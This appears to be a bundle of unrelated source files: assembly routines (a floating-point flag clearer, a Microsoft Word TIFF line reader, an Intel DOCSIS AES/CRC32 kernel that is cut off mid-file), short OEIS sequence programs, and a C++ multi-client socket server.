ldr r14, [r0,#56]
ldr r0, [r0]
mov pc, lr
|
;;
;; Upcaste Performance Libraries
;; Copyright (C) 2012-2013 Jesse W. Towner
;;
;; Permission is hereby granted, free of charge, to any person obtaining
;; a copy of this software and associated documentation files (the
;; "Software"), to deal in the Software without restriction, including
;; without limitation the rights to use, copy, modify, merge, publish,
;; distribute, sublicense, and/or sell copies of the Software, and to
;; permit persons to whom the Software is furnished to do so, subject to
;; the following conditions:
;;
;; The above copyright notice and this permission notice shall be
;; included in all copies or substantial portions of the Software.
;;
;; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
;; EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
;; MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
;; IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
;; CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
;; TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
;; SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
;;
INCLUDE fenv.inc
;;
;; int feclearexcept(int excepts);
;;
;; Use the fnstenv/fldenv and stmxcsr/ldmxcsr instruction pairs to
;; clear the exception status flags for x87 FPU and SSE respectively.
;;
;; Input:
;; ecx = excepts
;; Output:
;; eax = 0
;;
.CODE
ALIGN 8
PUBLIC feclearexcept
feclearexcept PROC
; mask and invert the excepts argument
and ecx, FE_ALL_EXCEPT
not ecx
; clear exception flags in x87 FPU
fnstenv [rsp - SIZEOF fenv]
and [rsp - SIZEOF fenv].fenv.status_word, cx
fldenv [rsp - SIZEOF fenv]
; clear exception flags in SSE control/status register
stmxcsr [rsp - SIZEOF fenv].fenv.mxcsr
and [rsp - SIZEOF fenv].fenv.mxcsr, ecx
ldmxcsr [rsp - SIZEOF fenv].fenv.mxcsr
; done, return success
xor rax, rax
ret
feclearexcept ENDP
END
|
;*------------------------------------------------------------------------
;*
;*
;* Microsoft Word -- Graphics
;*
;* Hand-code versions of C routines
;*
;*------------------------------------------------------------------------
include w2.inc
include noxport.inc
include grtiff.inc
midGrhc equ 17
externFP <ReloadSb>
externFP <N_HpchFromFc>
ifdef DEBUG
externFP <S_HpchFromFc>
externFP <AssertProcForNative>
endif ;DEBUG
createSeg grtiff_PCODE,GRTIFF,BYTE,PUBLIC,CODE
sBegin GRTIFF
assumes cs,GRTIFF
assumes ss,data
assumes ds,data
assumes es,nothing
mpnbb: db 000h,000h,000h,000h
db 0ffh,000h,000h,000h
db 000h,0ffh,000h,000h
db 0ffh,0ffh,000h,000h
db 000h,000h,0ffh,000h
db 0ffh,000h,0ffh,000h
db 000h,0ffh,0ffh,000h
db 0ffh,0ffh,0ffh,000h
db 000h,000h,000h,0ffh
db 0ffh,000h,000h,0ffh
db 000h,0ffh,000h,0ffh
db 0ffh,0ffh,000h,0ffh
db 000h,000h,0ffh,0ffh
db 0ffh,000h,0ffh,0ffh
db 000h,0ffh,0ffh,0ffh
db 0ffh,0ffh,0ffh,0ffh
;-------------------------------------------------------------------------------
; ReadTIFFLine(hpc, hpPlane)
;-------------------------------------------------------------------------------
;ReadTIFFLine(hpc, hpPlane)
;PICT **hpc;
;char HUGE *hpPlane;
;{
; int ibitIn,
; ibIn,
; cbRowFile,
; cbitsSample;
; BYTE b;
; unsigned cb;
;
; %%Function: ReadTIFFLine %%Owner: Bobz
;
cProc ReadTIFFLineNat,<FAR,PUBLIC>,<SI,DI>
parmW hpc
parmD hpPlane
cBegin
;
; ibitIn = ibIn = 0;
; cbRowFile = (*hpc)->tiff.cbRowFile;
; cbitsSample = (*hpc)->tiff.cbitsSample;
; Assembler note: Set ibitIn, ibIn, and cbRowFile later...
mov bx,[hpc]
mov bx,[bx] ;bx = *hpc
mov ax,[bx.tiffPict.cbitsSampleTiff]
; if ((*hpc)->tiff.wCompScheme == Scheme1)
; {
cmp [bx.tiffPict.wCompSchemeTiff],Scheme1
jz Ltemp001
jmp RTL11
Ltemp001:
; if (cbitsSample == 1)
; {
; RgbFromStm(hpPlane, cbRowFile);
; }
cmp ax,1
jnz RTL01
mov di,[OFF_hpPlane]
mov cx,[bx.tiffPict.cbRowFileTiff]
xor si,si ;make sure we initialize pstream
;LN_RgbFromStm blts cx bytes pointed to by the stream
;in ds:si to the hp in hpPlane in es:di.
;ax, bx, cx, si, di, ds, es are altered.
call LN_RgbFromStm
Ltemp002:
jmp RTL16
; else
; {
; char HUGE * hpSave;
; int ipl;
; unsigned bSpecial = 0x80;
; unsigned nb;
; int fFirstNibble = true;
; unsigned cbPlane = (*hpc)->cbPlane;
RTL01:
sub ax,4
jz RTL02
mov al,1
RTL02:
mov dh,1
xor dh,al
mov cx,[bx.vtExtPict.hGpoint]
mov bx,[bx.cbPlanePict]
mov di,[OFF_hpPlane]
mov dl,080H ;set bSpecial
mov ah,1
xor si,si ;make sure we initialize pstream
jmp short RTL06
RTL03:
;LN_SetEsDsSiFromStm sets ds:si pointing at a stream of bytes
;according to the current file position stored in stmGlobal, and
;sets es according to [SEG_hpPlane]
call LN_SetEsDsSiFromStm
jmp short RTL07
RTL04:
push ax
and al,0fh
shl al,1
shl al,1
jmp short RTL08
; while (ibitIn < (*hpc)->vtExt.h)
; {
RTL06:
jcxz Ltemp002
; if (fFirstNibble)
; {
xor ah,dh
test ah,dh
jne RTL04
; b = BFromStm();
; nb = (b & 0xf0) >> 2;
; if (cbitsSample == 4)
; fFirstNibble = false;
; }
test si,001FFh
je RTL03
RTL07:
lodsb
push ax
and al,0f0h
shr al,1
shr al,1 ;si = nb
;Assembler note: the else clause here is done at RTL04
; else
; {
; nb = (b & 0x0f) << 2;
; fFirstNibble = true;
; }
; hpSave = hpPlane;
RTL08:
xor ah,ah
add ax,offset [mpnbb]
push di ;save OFF_hpPlane
push si ;save OFF_hpStream
xchg ax,si
; for (ipl=0; ipl<4; ipl++)
; {
; *hpPlane |= (mpnbb[nb++] & bSpecial);
; hpPlane += cbPlane;
; }
lods byte ptr cs:[si]
and al,dl
or es:[di],al
add di,bx
lods byte ptr cs:[si]
and al,dl
or es:[di],al
add di,bx
lods byte ptr cs:[si]
and al,dl
or es:[di],al
add di,bx
lods byte ptr cs:[si]
and al,dl
or es:[di],al
add di,bx
; hpPlane = hpSave;
pop si ;restore OFF_hpStream
pop di ;restore OFF_hpPlane
pop ax
; bSpecial >>= 1;
; if (bSpecial == 0)
; {
; bSpecial = 0x80;
; hpPlane++;
; }
; ibitIn++;
; }
; }
; }
dec cx ;ibitIn++
ror dl,1
jnc RTL06
inc di ;hpPlane++;
jmp short RTL06
RTL09:
;LN_SetEsDsSiFromStm sets ds:si pointing at a stream of bytes
;according to the current file position stored in stmGlobal, and
;sets es according to [SEG_hpPlane]
call LN_SetEsDsSiFromStm
jmp short RTL13
RTL10:
;LN_SetEsDsSiFromStm sets ds:si pointing at a stream of bytes
;according to the current file position stored in stmGlobal, and
;sets es according to [SEG_hpPlane]
call LN_SetEsDsSiFromStm
jmp short RTL14
; else
; {
; int w;
; while (ibIn < cbRowFile)
; {
; w = (signed char)BFromTIFF();
RTL11:
mov di,[OFF_hpPlane] ;es:di = lpPlane
mov bx,[bx.tiffPict.cbRowFileTiff]
xor dx,dx ;ibIn = 0;
xor si,si ;make sure we initialize pstream
RTL12:
cmp dx,bx
jge RTL16 ;goto LEntTIFF
test si,001FFh
je RTL09
RTL13:
lodsb ;get w
xchg ax,cx
xor ch,ch
; if (w < 0)
; {
or cl,cl
jge RTL15
; cb = -w+1;
; b = BFromTIFF();
; bltbcx(b, LpFromHp(hpPlane), cb);
; hpPlane += cb;
; ibIn += cb;
; }
neg cl
inc cx
test si,001FFh
je RTL10
RTL14:
lodsb ;get byte after w
add dx,cx ;ibIn+=cb
rep stosb
jmp RTL12
; else
; {
; cb = w+1;
; RgbFromStm(hpPlane, cb);
; hpPlane += cb;
; ibIn += cb;
; }
; }
; }
RTL15:
inc cx
add dx,cx
;LN_RgbFromStm blts cx bytes pointed to by the stream
;in ds:si to the hp in hpPlane in es:di.
;ax, bx, cx, si, di, ds, es are altered.
push bx ;save cbRowFile
call LN_RgbFromStm
pop bx ;restore cbRowFile
jmp short RTL12
;}
RTL16:
push ss
pop ds ;restore sbApp DS
and si,001FFh
je RTL17
sub si,00200h
add [stmGlobal.LO_fcStm],si
adc [stmGlobal.HI_fcStm],0FFFFh
RTL17:
cEnd
;-------------------------------------------------------------------------------
; LN_RgbFromStm
;-------------------------------------------------------------------------------
;LN_RgbFromStm blts cx bytes pointed to by the stream
;in ds:si to the hp in hpPlane in es:di.
;ax, bx, cx, si, di, ds, es are altered.
RFS01:
;LN_SetEsDsSiFromStm sets ds:si pointing at a stream of bytes
;according to the current file position stored in stmGlobal, and
;sets es according to [SEG_hpPlane]
call LN_SetEsDsSiFromStm
mov bx,00200h
test si,001FFh
je RFS02
LN_RgbFromStm:
mov bx,si
neg bx
and bh,001h
RFS02:
mov ax,cx
sub ax,bx
jl RFS03
mov cx,bx
RFS03:
rep movsb
xchg ax,cx
or cx,cx
jg RFS01
ret
;-------------------------------------------------------------------------------
; LN_SetESFromHpPlane
;-------------------------------------------------------------------------------
;Sets es according to hpPlane. Only es is altered.
LN_SetEsFromHpPlane:
push bx
mov bx,[SEG_hpPlane]
;LN_ReloadSb sets ES corresponding to the sb in bx.
;Only bx and es are altered.
call LN_ReloadSb
pop bx
ret
;-------------------------------------------------------------------------------
; LN_SetEsDsSiFromStm
;-------------------------------------------------------------------------------
;LN_SetEsDsSiFromStm sets ds:si pointing at a stream of bytes
;according to the current file position stored in stmGlobal, and
;sets es according to [SEG_hpPlane]
LN_SetEsDsSiFromStm:
push ax
push bx
push cx
push dx
push ss
pop ds ;restore sbApp DS
push [stmGlobal.fnStm]
push [stmGlobal.HI_fcStm]
push [stmGlobal.LO_fcStm]
ifdef DEBUG
cCall S_HpchFromFc
else ;not DEBUG
cCall N_HpchFromFc
endif ;DEBUG
ifdef DEBUG
push ax
push bx
push cx
push dx
xor ax,[stmGlobal.LO_fcStm]
and ax,001FFh
je SDSFS01
mov ax,midGrhc
mov bx,1000 ; label # for native assert
cCall AssertProcForNative, <ax, bx>
SDSFS01:
pop dx
pop cx
pop bx
pop ax
endif ;DEBUG
add [stmGlobal.LO_fcStm],00200h ; increment fc
adc [stmGlobal.HI_fcStm],0
and [stmGlobal.LO_fcStm],0FE00h
;Do this extra LN_SetEsFromHpPlane to avoid an LMEM quirk.
;It is possible that the call later on to ReloadSb for SEG_hpPlane
;would force out the ps for SB_stream. This would happen if now
;SB_stream was oldest on the LRU list but still swapped in, and
;SEG_hpPlane was swapped out. In that event ReloadSb would not
;be called for SB_stream, the LRU entry would not get updated,
;and the call to ReloadSb for SEG_hpPlane would swap out SB_stream.
;Sets es according to hpPlane. Only es is altered.
call LN_SetEsFromHpPlane
xchg ax,si
mov bx,dx
;LN_ReloadSb sets ES corresponding to the sb in bx.
;Only bx and es are altered.
call LN_ReloadSb
push es
;Sets es according to hpPlane. Only es is altered.
call LN_SetEsFromHpPlane
pop ds
pop dx
pop cx
pop bx
pop ax
ret
;-------------------------------------------------------------------------------
; LN_ReloadSb
;-------------------------------------------------------------------------------
;LN_ReloadSb sets ES corresponding to the sb in bx.
;Only bx and es are altered.
LN_ReloadSb:
ifdef DEBUG
push ax
push bx
push cx
push dx
mov ax,ds
mov bx,ss
cmp ax,bx
je LN_RS01
mov ax,midGrhc
mov bx,1001 ; label # for native assert
cCall AssertProcForNative, <ax, bx>
LN_RS01:
pop dx
pop cx
pop bx
pop ax
endif ;DEBUG
push ax
shl bx,1
mov ax,[bx.mpsbps]
mov es,ax
shr ax,1
jc LN_RS02
push cx
push dx
; ReloadSb trashes ax, cx, and dx
cCall ReloadSb,<>
pop dx
pop cx
LN_RS02:
pop ax
ret
;=========================================================================
;
; UDiv : divide first parm by third parm ( yielding 16 bit result )
;
; int MultDiv(wNumer, wDenom, pRemain)
; int wNumer, wDenom;
; int *pRemain;
; {
; *pRemain = wNumer % wDenom;
; return ( wNumer / wDenom );
; }
;
;=========================================================================
; %%Function: UDiv %%Owner: Bobz
;
cProc UDiv,<FAR,PUBLIC>,<>
ParmW <wNumer, wDenom, pRemain>
cBegin UDiv
xor dx,dx ; DX:AX = numerator
mov ax,[wNumer] ;
mov cx,[wDenom] ; CX = denominator
jcxz UDOv
div cx ; and divide by wDenom
UDret:
mov bx,pRemain ;
mov [bx],dx ; store the remainder
cEnd UDiv
UDOv:
mov ax,0FFFFH
jmp UDret
sEnd GRTIFF
end
|
; A132798: Period 6: repeat [0, 2, 1, 0, -2, -1].
; 0,2,1,0,-2,-1,0,2,1,0,-2,-1,0,2,1,0,-2,-1,0,2,1,0,-2,-1,0,2,1,0,-2,-1,0,2,1,0,-2,-1,0,2,1,0,-2,-1,0,2,1,0,-2,-1,0,2,1,0,-2,-1,0,2,1,0,-2,-1,0,2,1,0,-2,-1,0,2,1,0,-2,-1,0,2,1,0,-2,-1
mov $1,2
mov $2,8
lpb $0
sub $0,1
add $1,$2
sub $2,$1
lpe
div $1,5
mov $0,$1
|
; A200262: Partial sums of A200261.
; Submitted by Jon Maiga
; 1,1,1,1,2,3,4,5,5,5,6,7,7,7,7,8,9,9,9,10,11,12,12,12,13,14,15,16,17,17,18,18,18,18,19,19,19,20,21,21,21,22,22,22,22,22,23,23,23,23,24,25,25,26,27,27,27,28,29,29,29,30,31,31,31,31,31,31,32,33,33,33,34,34,34,35,36,36,36,36,37,37,38,39,40,40,40,41,41,41,41,42,42,43,44,45,46,47,48,49
mov $2,$0
mov $4,$0
lpb $2
mov $0,$4
sub $2,1
sub $0,$2
seq $0,200263 ; a(n) = 1 iff n-th prime has an odd digit sum.
mov $5,$0
cmp $5,0
add $3,$5
lpe
mov $0,$3
add $0,1
|
; A088680: a(n) = prime(2n+1) - prime(2n).
; 2,4,4,4,2,4,4,6,6,2,4,8,2,2,14,6,10,6,4,6,10,4,12,4,4,2,6,6,6,2,14,2,14,10,4,8,6,6,4,10,10,6,6,4,4,8,8,6,2,6,6,2,10,6,6,4,12,2,6,2,4,8,8,8,6,8,4,4,10,2,2,2,14,2,14,2,20,8,8,6,14,6,8,12,6,10,6,2,2,18,2,6,8,6,2
mul $0,2
add $0,2
seq $0,40 ; The prime numbers.
div $0,2
mul $0,2
sub $0,2
seq $0,64722 ; a(1) = 0; for n >= 2, a(n) = n - (largest prime <= n).
add $0,2
|
//Based on: https://www.binarytides.com/multiple-socket-connections-fdset-select-linux/
#include "server.h"
int main(int argc , char *argv[])
{
//Initialize various variables
int opt = TRUE;
int master_socket , addrlen , new_socket , client_socket[100] , max_clients = 100 , activity, i , valread , sd;
int max_sd;
int trans = 0;
map<string,int> client_trans;
double time_start = 0;
double time_end = 0;
struct sockaddr_in address;
struct timeval tp;
timeval timeout = {30,0};
char buffer[1000]; //Data buffer of 1K
char temp[1000];
//Set of socket descriptors
fd_set readfds;
//Initialise all client_socket[] to 0 so not checked
for (i = 0; i < max_clients; i++)
{
client_socket[i] = 0;
}
//Create a master socket
if( (master_socket = socket(AF_INET , SOCK_STREAM , 0)) == 0)
{
perror("socket failed");
exit(EXIT_FAILURE);
}
//Set master socket to allow multiple connections , this is just a good habit, it will work without this
if( setsockopt(master_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt)) < 0 )
{
perror("setsockopt");
exit(EXIT_FAILURE);
}
//Type of socket created
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(atoi(argv[1]));
//Bind the socket to port in argv
if (bind(master_socket, (struct sockaddr *)&address, sizeof(address))<0)
{
perror("bind failed");
exit(EXIT_FAILURE);
}
//Try to specify maximum of int max_clients (100) pending connections for the master socket
if (listen(master_socket, max_clients) < 0)
{
perror("listen");
exit(EXIT_FAILURE);
}
//Accept the incoming connection
addrlen = sizeof(address);
//Log port
cout << "Using port " << argv[1];
//Sever loop
while(TRUE) {
//Clear arrays
memset(buffer, 0, 1000);
memset(temp, 0, 1000);
//Clear the socket set
FD_ZERO(&readfds);
//Add master socket to set
FD_SET(master_socket, &readfds);
max_sd = master_socket;
//Add child sockets to set
for ( i = 0 ; i < max_clients ; i++)
{
//Socket descriptor
sd = client_socket[i];
//If valid socket descriptor then add to read list
if(sd > 0)
FD_SET( sd , &readfds);
//Highest file descriptor number, need it for the select function
if(sd > max_sd)
max_sd = sd;
}
//Wait for an activity on one of the sockets , timeout is 30 seconds
activity = select( max_sd + 1 , &readfds , NULL , NULL , &timeout);
//Check for select error and if not checks for timeout
if ((activity < 0) && (errno!=EINTR)){
printf("select error");
} else if (activity == 0){
//Print summary
print_summary(client_trans, time_start, time_end);
return 0;
}
//If something happened on the master socket, then its an incoming connection
if (FD_ISSET(master_socket, &readfds))
{
if ((new_socket = accept(master_socket, (struct sockaddr *)&address, (socklen_t*)&addrlen))<0){
perror("accept");
exit(EXIT_FAILURE);
}
//Add new socket to array of sockets
for (i = 0; i < max_clients; i++) {
//if position is empty add at the current position
if( client_socket[i] == 0 ){
client_socket[i] = new_socket;
break;
}
}
}
//Else its some IO operation on some other socket :)
for (i = 0; i < max_clients; i++)
{
sd = client_socket[i];
if (FD_ISSET( sd , &readfds))
{
//Check if it was for closing , and also read the incoming message
if ((valread = read( sd , buffer, 1000)) == 0){
//Close the socket and mark as 0 in list for reuse
close( sd );
client_socket[i] = 0;
} else {
//Split original client message from client name (which is separated by a space)
char *client_message;
char const *delim = " ";
client_message = strtok(buffer, delim);
char *client_name;
client_name = strtok(NULL, delim);
//Log receive and get start time if this is the first transaction
trans++;
gettimeofday(&tp, NULL);
cout << "\n" << tp.tv_sec << "." << setw(2) << setfill('0') << (int) (tp.tv_usec/1E4) << ": #" << trans <<" (" << client_message << ")"
<< " from " << client_name;
cout << flush;
if(time_start == 0){
time_start = tp.tv_sec + (tp.tv_usec/1E6);
}
time_end = tp.tv_sec + (tp.tv_usec/1E6);
//Perform a trans operation and record it in map (named client_trans)
int t_val;
sscanf(client_message+1, "%i", &t_val);
Trans(t_val);
//Record in map
string str(client_name);
client_trans[client_name]++;
//Log finished transaction
gettimeofday(&tp, NULL);
cout << "\n" << tp.tv_sec << "." << setw(2) << setfill('0') << (int) (tp.tv_usec/1E4) << ": #" << trans << " (Done)"
<< " from " << client_name;
cout << flush;
//Convert transaction int to char * to send back
sprintf(temp, "%i", trans);
memcpy(buffer+1, temp, strlen(temp)+1);
buffer[0] = 'D';
send(sd , buffer , strlen(buffer) , 0 );
}
}
}
}
//Print summary to stdout (in event of server ending not to timeout)
print_summary(client_trans, time_start, time_end);
return 0;
}
void print_summary(map<string, int> client_trans, double time_start, double time_end){
//Summary printing below
cout << "\n\nSUMMARY\n";
//Go through client list and add the transaction on each one to total_trans to get total transactions
//Also outputs each client and its transactions
int total_trans = 0;
for(auto const& x: client_trans){
cout << " " << x.second << " transactions from " << x.first << "\n";
total_trans += x.second;
}
//Get transactions per seconds and output then return
double trans_per_sec = total_trans/(time_end - time_start);
cout << setprecision(4) << trans_per_sec << " transactions/sec (" << total_trans <<
"/" << (time_end - time_start) << ")\n";
} |
; A285474: Binary representation of the diagonal from the origin to the corner of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 3", based on the 5-celled von Neumann neighborhood.
; Submitted by Jon Maiga
; 1,11,100,1111,10000,111111,1000000,11111111,100000000,1111111111,10000000000,111111111111,1000000000000,11111111111111,100000000000000,1111111111111111,10000000000000000,111111111111111111,1000000000000000000,11111111111111111111,100000000000000000000,1111111111111111111111,10000000000000000000000,111111111111111111111111,1000000000000000000000000,11111111111111111111111111,100000000000000000000000000,1111111111111111111111111111,10000000000000000000000000000,111111111111111111111111111111
mov $2,10
pow $2,$0
mod $0,2
add $0,9
mul $0,$2
div $0,9
|
;;
;; Copyright (c) 2019-2021, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
;;; DOCSIS SEC BPI (AES128-CBC + AES128-CFB) encryption
;;; stitched together with CRC32
%use smartalign
%include "include/os.asm"
%include "include/imb_job.asm"
%include "include/mb_mgr_datastruct.asm"
%include "include/reg_sizes.asm"
%include "include/const.inc"
%include "include/clear_regs.asm"
%include "include/cet.inc"
%define APPEND(a,b) a %+ b
%define CRC_LANE_STATE_TO_START 0x01
%define CRC_LANE_STATE_DONE 0x00
%define CRC_LANE_STATE_IN_PROGRESS 0xff
struc STACK
_gpr_save: resq 8
_rsp_save: resq 1
_idx: resq 1
_len: resq 1
endstruc
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%define TMP2 rcx
%define TMP3 rdx
%else
%define arg1 rcx
%define arg2 rdx
%define TMP2 rdi
%define TMP3 rsi
%endif
%define TMP0 r11
%define TMP1 rbx
%define TMP4 rbp
%define TMP5 r8
%define TMP6 r9
%define TMP7 r10
%define TMP8 rax
%define TMP9 r12
%define TMP10 r13
%define TMP11 r14
%define TMP12 r15
mksection .rodata
default rel
align 16
dupw:
dq 0x0100010001000100, 0x0100010001000100
align 16
len_masks:
dq 0x000000000000FFFF, 0x0000000000000000
dq 0x00000000FFFF0000, 0x0000000000000000
dq 0x0000FFFF00000000, 0x0000000000000000
dq 0xFFFF000000000000, 0x0000000000000000
dq 0x0000000000000000, 0x000000000000FFFF
dq 0x0000000000000000, 0x00000000FFFF0000
dq 0x0000000000000000, 0x0000FFFF00000000
dq 0x0000000000000000, 0xFFFF000000000000
one: dq 1
two: dq 2
three: dq 3
four: dq 4
five: dq 5
six: dq 6
seven: dq 7
;;; Precomputed constants for CRC32 (Ethernet FCS)
;;; Details of the CRC algorithm and 4 byte buffer of
;;; {0x01, 0x02, 0x03, 0x04}:
;;; Result Poly Init RefIn RefOut XorOut
;;; 0xB63CFBCD 0x04C11DB7 0xFFFFFFFF true true 0xFFFFFFFF
align 16
rk1:
dq 0x00000000ccaa009e, 0x00000001751997d0
align 16
rk5:
dq 0x00000000ccaa009e, 0x0000000163cd6124
align 16
rk7:
dq 0x00000001f7011640, 0x00000001db710640
align 16
pshufb_shf_table:
;; use these values for shift registers with the pshufb instruction
dq 0x8786858483828100, 0x8f8e8d8c8b8a8988
dq 0x0706050403020100, 0x000e0d0c0b0a0908
align 16
init_crc_value:
dq 0x00000000FFFFFFFF, 0x0000000000000000
align 16
mask:
dq 0xFFFFFFFFFFFFFFFF, 0x0000000000000000
align 16
mask2:
dq 0xFFFFFFFF00000000, 0xFFFFFFFFFFFFFFFF
align 16
mask3:
dq 0x8080808080808080, 0x8080808080808080
align 16
mask_out_top_bytes:
dq 0xFFFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFF
dq 0x0000000000000000, 0x0000000000000000
;;; partial block read/write table
align 64
byte_len_to_mask_table:
dw 0x0000, 0x0001, 0x0003, 0x0007,
dw 0x000f, 0x001f, 0x003f, 0x007f,
dw 0x00ff, 0x01ff, 0x03ff, 0x07ff,
dw 0x0fff, 0x1fff, 0x3fff, 0x7fff,
dw 0xffff
mksection .text
;; ===================================================================
;; ===================================================================
;; CRC multiply before XOR against data block
;; ===================================================================
%macro CRC_CLMUL 4
%define %%XCRC_IN_OUT %1 ; [in/out] XMM with CRC (can be anything if "no_crc" below)
%define %%XCRC_MUL %2 ; [in] XMM with CRC constant (can be anything if "no_crc" below)
%define %%XCRC_DATA %3 ; [in] XMM with data block
%define %%XTMP %4 ; [clobbered] temporary XMM
vpclmulqdq %%XTMP, %%XCRC_IN_OUT, %%XCRC_MUL, 0x01
vpclmulqdq %%XCRC_IN_OUT, %%XCRC_IN_OUT, %%XCRC_MUL, 0x10
vpternlogq %%XCRC_IN_OUT, %%XTMP, %%XCRC_DATA, 0x96 ; XCRC = XCRC ^ XTMP ^ DATA
%endmacro
;; ===================================================================
;; ===================================================================
;; CRC32 calculation on 16 byte data
;; ===================================================================
%macro CRC_UPDATE16 6
%define %%INP %1 ; [in/out] GP with input text pointer or "no_load"
%define %%XCRC_IN_OUT %2 ; [in/out] XMM with CRC (can be anything if "no_crc" below)
%define %%XCRC_MUL %3 ; [in] XMM with CRC multiplier constant
%define %%TXMM1 %4 ; [clobbered|in] XMM temporary or data in (no_load)
%define %%TXMM2 %5 ; [clobbered] XMM temporary
%define %%CRC_TYPE %6 ; [in] "first_crc" or "next_crc" or "no_crc"
;; load data and increment in pointer
%ifnidn %%INP, no_load
vmovdqu64 %%TXMM1, [%%INP]
add %%INP, 16
%endif
;; CRC calculation
%ifidn %%CRC_TYPE, next_crc
CRC_CLMUL %%XCRC_IN_OUT, %%XCRC_MUL, %%TXMM1, %%TXMM2
%endif
%ifidn %%CRC_TYPE, first_crc
;; in the first run just XOR initial CRC with the first block
vpxorq %%XCRC_IN_OUT, %%TXMM1
%endif
%endmacro
;; ===================================================================
;; ===================================================================
;; Barrett reduction from 128-bits to 32-bits modulo Ethernet FCS polynomial
;; ===================================================================
%macro CRC32_REDUCE_128_TO_32 5
%define %%CRC %1 ; [out] GP to store 32-bit Ethernet FCS value
%define %%XCRC %2 ; [in/clobbered] XMM with CRC
%define %%XT1 %3 ; [clobbered] temporary xmm register
%define %%XT2 %4 ; [clobbered] temporary xmm register
%define %%XT3 %5 ; [clobbered] temporary xmm register
%define %%XCRCKEY %%XT3
;; compute crc of a 128-bit value
vmovdqa64 %%XCRCKEY, [rel rk5]
;; 64b fold
vpclmulqdq %%XT1, %%XCRC, %%XCRCKEY, 0x00
vpsrldq %%XCRC, %%XCRC, 8
vpxorq %%XCRC, %%XCRC, %%XT1
;; 32b fold
vpslldq %%XT1, %%XCRC, 4
vpclmulqdq %%XT1, %%XT1, %%XCRCKEY, 0x10
vpxorq %%XCRC, %%XCRC, %%XT1
%%_crc_barrett:
;; Barrett reduction
vpandq %%XCRC, [rel mask2]
vmovdqa64 %%XT1, %%XCRC
vmovdqa64 %%XT2, %%XCRC
vmovdqa64 %%XCRCKEY, [rel rk7]
vpclmulqdq %%XCRC, %%XCRCKEY, 0x00
vpxorq %%XCRC, %%XT2
vpandq %%XCRC, [rel mask]
vmovdqa64 %%XT2, %%XCRC
vpclmulqdq %%XCRC, %%XCRCKEY, 0x10
vpternlogq %%XCRC, %%XT2, %%XT1, 0x96 ; XCRC = XCRC ^ XT2 ^ XT1
vpextrd DWORD(%%CRC), %%XCRC, 2 ; 32-bit CRC value
not DWORD(%%CRC)
%endmacro
;; ===================================================================
;; ===================================================================
;; Barrett reduction from 64-bits to 32-bits modulo Ethernet FCS polynomial
;; ===================================================================
%macro CRC32_REDUCE_64_TO_32 5
%define %%CRC %1 ; [out] GP to store 32-bit Ethernet FCS value
%define %%XCRC %2 ; [in/clobbered] XMM with CRC
%define %%XT1 %3 ; [clobbered] temporary xmm register
%define %%XT2 %4 ; [clobbered] temporary xmm register
%define %%XT3 %5 ; [clobbered] temporary xmm register
%define %%XCRCKEY %%XT3
;; Barrett reduction
vpandq %%XCRC, [rel mask2]
vmovdqa64 %%XT1, %%XCRC
vmovdqa64 %%XT2, %%XCRC
vmovdqa64 %%XCRCKEY, [rel rk7]
vpclmulqdq %%XCRC, %%XCRCKEY, 0x00
vpxorq %%XCRC, %%XT2
vpandq %%XCRC, [rel mask]
vmovdqa64 %%XT2, %%XCRC
vpclmulqdq %%XCRC, %%XCRCKEY, 0x10
vpternlogq %%XCRC, %%XT2, %%XT1, 0x96 ; XCRC = XCRC ^ XT2 ^ XT1
vpextrd DWORD(%%CRC), %%XCRC, 2 ; 32-bit CRC value
not DWORD(%%CRC)
%endmacro
;; ===================================================================
;; ===================================================================
;; ETHERNET FCS CRC
;; ===================================================================
%macro ETHERNET_FCS_CRC 9
%define %%p_in %1 ; [in] pointer to the buffer (GPR)
%define %%bytes_to_crc %2 ; [in] number of bytes in the buffer (GPR)
%define %%ethernet_fcs %3 ; [out] GPR to put CRC value into (32 bits)
%define %%xcrc %4 ; [in] initial CRC value (xmm)
%define %%tmp %5 ; [clobbered] temporary GPR
%define %%xcrckey %6 ; [clobbered] temporary XMM / CRC multiplier
%define %%xtmp1 %7 ; [clobbered] temporary XMM
%define %%xtmp2 %8 ; [clobbered] temporary XMM
%define %%xtmp3 %9 ; [clobbered] temporary XMM
;; load CRC constants
